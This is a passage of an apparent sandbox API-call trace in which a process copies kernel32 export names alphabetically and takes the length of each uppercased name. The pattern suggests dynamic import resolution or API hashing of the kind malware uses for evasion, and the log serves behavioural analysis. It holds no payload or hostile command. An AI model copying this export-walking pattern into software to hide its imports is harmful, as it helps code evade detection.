returned="BasepQueryAppCompat" [0084.944] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0084.944] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0084.944] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0084.944] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0084.944] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0084.944] lstrlenA (lpString="BEEP") returned 4 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0084.944] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0084.944] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0084.944] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0084.945] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0084.945] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0084.945] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0084.945] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0084.945] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0084.945] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0084.945] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0084.945] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0084.945] lstrlenA (lpString="CANCELIO") returned 8 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0084.945] lstrlenA (lpString="CANCELIOEX") returned 10 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0084.945] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0084.945] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0084.945] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0084.945] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0084.945] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0084.945] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0084.945] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0084.946] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0084.946] lstrlenA (lpString="CHECKELEVATION") returned 14 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0084.946] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0084.946] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0084.946] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0084.946] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0084.946] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0084.946] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0084.946] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0084.946] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0084.946] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0084.946] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0084.946] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0084.946] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0084.946] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0084.946] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0084.946] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0084.946] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0084.947] lstrlenA (lpString="CLOSESTATE") returned 10 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0084.947] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0084.947] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0084.947] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0084.947] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0084.947] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0084.947] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0084.947] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0084.947] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0084.947] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0084.947] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0084.947] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0084.947] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0084.947] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0084.947] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0084.947] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0084.948] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0084.948] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0084.948] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0084.948] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0084.948] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0084.948] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0084.948] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0084.948] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0084.948] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0084.948] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0084.948] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0084.948] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0084.948] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0084.949] lstrlenA (lpString="COPYCONTEXT") returned 11 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0084.949] lstrlenA (lpString="COPYFILE2") returned 9 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0084.949] lstrlenA (lpString="COPYFILEA") returned 9 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0084.949] lstrlenA (lpString="COPYFILEEXA") returned 11 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0084.949] lstrlenA (lpString="COPYFILEEXW") returned 11 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0084.949] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0084.949] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0084.949] lstrlenA (lpString="COPYFILEW") returned 9 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0084.949] lstrlenA (lpString="COPYLZFILE") returned 10 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0084.949] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0084.949] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0084.949] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0084.949] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0084.949] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0084.949] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0084.949] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0084.949] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0084.949] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0084.950] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0084.950] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0084.950] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0084.950] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0084.950] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0084.950] lstrlenA (lpString="CREATEEVENTA") returned 12 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0084.950] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0084.950] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0084.950] lstrlenA (lpString="CREATEEVENTW") returned 12 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0084.950] lstrlenA (lpString="CREATEFIBER") returned 11 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0084.950] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0084.950] lstrlenA (lpString="CREATEFILE2") returned 11 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0084.950] lstrlenA (lpString="CREATEFILEA") returned 11 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0084.950] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0084.950] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0084.950] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0084.950] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0084.951] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0084.951] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0084.951] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0084.951] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0084.951] lstrlenA (lpString="CREATEFILEW") returned 11 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0084.951] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0084.951] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0084.951] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0084.951] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0084.951] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0084.951] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0084.951] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0084.951] lstrlenA (lpString="CREATEJOBSET") returned 12 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0084.951] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0084.951] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0084.951] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0084.951] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0084.952] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0084.952] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0084.952] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0084.952] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0084.952] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0084.952] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0084.952] lstrlenA (lpString="CREATEPIPE") returned 10 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0084.952] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0084.952] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0084.952] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0084.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" 